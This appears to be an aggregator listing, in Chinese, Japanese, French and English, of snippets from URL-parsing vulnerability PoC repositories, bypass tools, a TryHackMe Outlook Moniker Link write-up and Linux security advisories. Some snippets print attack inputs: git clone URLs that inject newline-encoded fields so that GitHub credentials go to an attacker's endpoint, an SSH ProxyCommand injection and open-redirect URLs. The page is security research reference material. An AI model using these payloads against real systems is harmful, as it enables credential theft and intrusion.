CVE-2020-5260

CVE-2020-5260 CVE-2020-5260演示记录 git在执行类似"git clone https://example.com" 这样的命令时,会请求使用协议"https"存储主机"example.com"的凭据，并在远程端请求身份验证时将返回的凭据附加到发出的请求中 git clone 'http://localhost:8088/%0ahost=github.com%0aprotocol=https 参考链接: https://bugs.chromium.org/p/project-zero/issues/detail?id=2021...

CVE-2024-22243

CVE-2024-22243 作者：Sean Pesce 该项目包含一个示例 Web 应用，用于演示以下漏洞的可利用场景： CVE-2024-22243， 这是 Java Spring Framework 中的一个 URL 解析漏洞 （官方披露见此处）。 漏洞 受影响版本的 Spring 会以独特方式解析 URL 中的 “userinfo”段， 这可能导致提取出的主机名段与许多 其他常见库不同。 该异常行为源于以下正则表达式（regex），它位于 UriComponentsBuilder 类中（由 此提交 于 2014 年引入）： private static final String...

unfurl

unfurl 提取 stdin 提供的 URL 的各个部分 安装 如果你已经安装并配置好 Go： ▶ go install github.com/tomnomnom/unfurl@latest 否则，下载适用于你平台的最新二进制文件，解压后将其移动到 $PATH 中的某个位置（例如 /usr/bin/）： ▶ wget https://github.com/tomnomnom/unfurl/releases/download/v0.0.1/unfurl-linux-amd64-0.0.1.tgz ▶ tar xzf unfurl-linux-amd64-0.0.1.tgz ▶ sudo ...

Zeus-Scanner

Annuaire des liens utiles Qu'estce que Zeus Les caractéristiques de Zeus Exigences et installation Ubuntu/Debian centOS autre Capturesécran vidéo Demo manuel d'utilisation Comment fonctionne Zeus Fonctionnalité Passant drapeaux sqlmap avec Zeus Informations légales Licence GPL Code de conduite...

bypass-url-parser

Bypass Url Parser 多くの MANY urlバイパスをテストして、40X protected page に到達するツール。 なぜこのコードが単なる汚いcurlラッパーなのか疑問に思うなら、その理由は次のとおりです。 ほとんどのpython requestsは、url/path/parameterのエンコード/デコードを行い、私はこれが嫌いです。 生の文字を送信するなら、生の文字を送信したい。 奇妙なパスを送信するなら、奇妙なままであってほしい。正規化されてはならない。...

bypass-url-parser

Bypass Url Parser Tool that tests MANY url bypasses to reach a 40X protected page. If you wonder why this code is nothing but a dirty curl wrapper, here's why: Most of the python requests do url/path/parameter encoding/decoding, and I hate this. If I submit raw chars, I want raw chars to be sent...

cve-2020-5260

cve-2020-5260 一个针对 cve-2020-5260 的 HTTP PoC 端点，可部署到 Heroku 致谢信息 Google Project Zero 的 Felix Wilhelm https://bugs.chromium.org/p/project-zero/issues/detail?id=2021 触发漏洞 git clone 'https://YourHerokuAppNameAndNotMine.herokuapp.com?%0ahost=github.com%0aprotocol=ssh' 将 PoC 部署到 Heroku 点击此按钮即可自动部署到...

Airachnid-Burp-Extension

Web Cache Deception Burp Extension Web Cache Deception攻撃に対する脆弱性をテストするためのBurp拡張機能です。 拡張機能をロードすると、Target - Sitemapタブでテスト対象のリソースを右クリックしてアクセスできます。コンテキストメニューに"Web Cache Deception Test"項目が表示され、テストの実施に使用できます。リソースが脆弱な場合、脆弱性の詳細を示すIssueが作成されます。 このコンテキストメニュー項目は、Proxy - Http Historyタブのリクエストでも利用できます。...

CVE-2024-30043-XXE

CVE-2024-30043-XXE 致谢 目前该漏洞的影响范围有限，但感谢 https://x.com/chudyPB 提供了一个巧妙的绕过思路。 https://x.com/chudyPB https://www.zerodayinitiative.com/blog/2024/5/29/cve-2024-30043-abusing-url-parsing-confusion-to-exploit-xxe-on-sharepoint-server-and-cloud https://x.com/chudyPB/status/1797707100421751007 使用方法 修改以下内容...

CVE-2023-24329-Exploit

简介 URL 解析函数专注于将 URL 字符串拆分为其组成部分，或将 URL 组成部分组合成 URL 字符串。 urllib.parse.urlparse 简单来说 ，urllib.parse 用于解析 URL，我们可以通过在 URL 前添加空格来绕过它。这发生在 Python 3.11.4 及更早版本中。 PoC 让我们分解 example.py 以下是一组你不应访问的网站： blockedlist = "http://example.com/", "http://example2.com/" 此函数检查网站是否在阻止列表中，如果在阻止列表中，则应返回 URL Blocked def...

tryhackme-monikerlink-writeup

TryHackMe：Moniker Link — CVE-2024-21413 演练 TryHackMe 的“Moniker Link”房间 的完整演练：将 2024 年 Microsoft Outlook 漏洞 CVE-2024-21413 武器化，在受害者点击钓鱼邮件中链接的瞬间窃取其 NTLMv2 哈希——不需要宏、不需要附件，也没有明显的安全警告。 CVE-2024-21413（“Moniker Link”）是 Outlook 验证使用 Windows OLE“moniker”语法的 file:// 链接时存在的一个漏洞（路径末尾多出一个 !，例如...

Rocky Linux 8 [CIQ] Security Update: firefox / firefox-debuginfo / firefox-debugsource Multiple Vulnerabilities (crlsa-2025_10074)

The Rocky Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-202510074 advisory. firefox: Content-Disposition header ignored when a file is included in an embed or object tag CVE-2025-6430 firefox: Use-after-free in FontFaceSet...

AlmaLinux 9.2 [TuxCare] Security Update: ruby / ruby-default-gems / ruby-devel / ruby-doc / ruby-libs / etc (ALMALINUX9.2:CLSA-2026:1778661102)

The AlmaLinux 9.2 host has packages installed that are affected by a vulnerability as referenced in the TuxCare ALMALINUX9.2:CLSA-2026:1778661102 advisory. - A ReDoS issue was discovered in the Time component through 0.2.1 in Ruby through 3.2.1. The Time parser mishandles invalid URLs that have...

Rocky Linux 10.0 [CIQ] Security Update: firefox / firefox-debuginfo / firefox-debugsource Multiple Vulnerabilities (crlsa-2025_10073)

The Rocky Linux 10.0 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-202510073 advisory. firefox: Content-Disposition header ignored when a file is included in an embed or object tag CVE-2025-6430 firefox: Use-after-free in FontFaceSet...

Rocky Linux 8 [CIQ] Security Update: thunderbird / thunderbird-debuginfo / thunderbird-debugsource Multiple Vulnerabilities (crlsa-2023_7500)

The Rocky Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-20237500 advisory. Mozilla: Out-of-bound memory access in WebGL2 blitFramebuffer CVE-2023-6204 Mozilla: Use-after-free in MessagePort::Entangled CVE-2023-6205 Mozilla:...

EUVD-2026-70282

fast-uri vulnerable to host confusion via an unclosed bracket in the URI authority...

CVE-2023-51385-

通过不安全的 /.ssh/config 实现远程代码执行 在使用 SSH ProxyCommand 进行隧道和连接代理时，%h、%p 等令牌的使用非常普遍。 易受攻击的配置 host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p 注意：在我最初的评估中，我曾以为使用 '%h（单引号）可以避免此问题，但看起来类似这样的方式仍然存在漏洞： ssh://echo helloworld cve.txtfoo.example.com/bar...

CVE-2023-24329-PoC

CVE-2023-24329-PoC 关于CVE-2023-24329的简短信息性PoC：Python urllib解析缺陷。 git clone https://github.com/H4R335HR/CVE-2023-24329-PoC cd CVE-2023-24329-PoC python3 CVE-2023-24329-PoC.py 基于Yebo Cao的研究 - https://pointernull.com/security/python-url-parse-problem.html...

CVE-2023-41080

脆弱: http://localhost:8081//secret.html;@example.com 任意のWebサイトにリダイレクトされます（この場合は、https://example.com）。 修正済み: http://localhost:8082//secret.html;@example.com 参照: https://github.com/advisories/GHSA-q3mw-pvr8-9ggc...

Unity Linux 20.1050e / 20.1060e / 20.1070e Security Update: git-lfs (UTSA-2026-124474)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2026-124474 advisory. The Parse function permits values other than IPv6 addresses to be included in square brackets within the host component of a URL. RFC 3986 permits IPv6 addresses to ...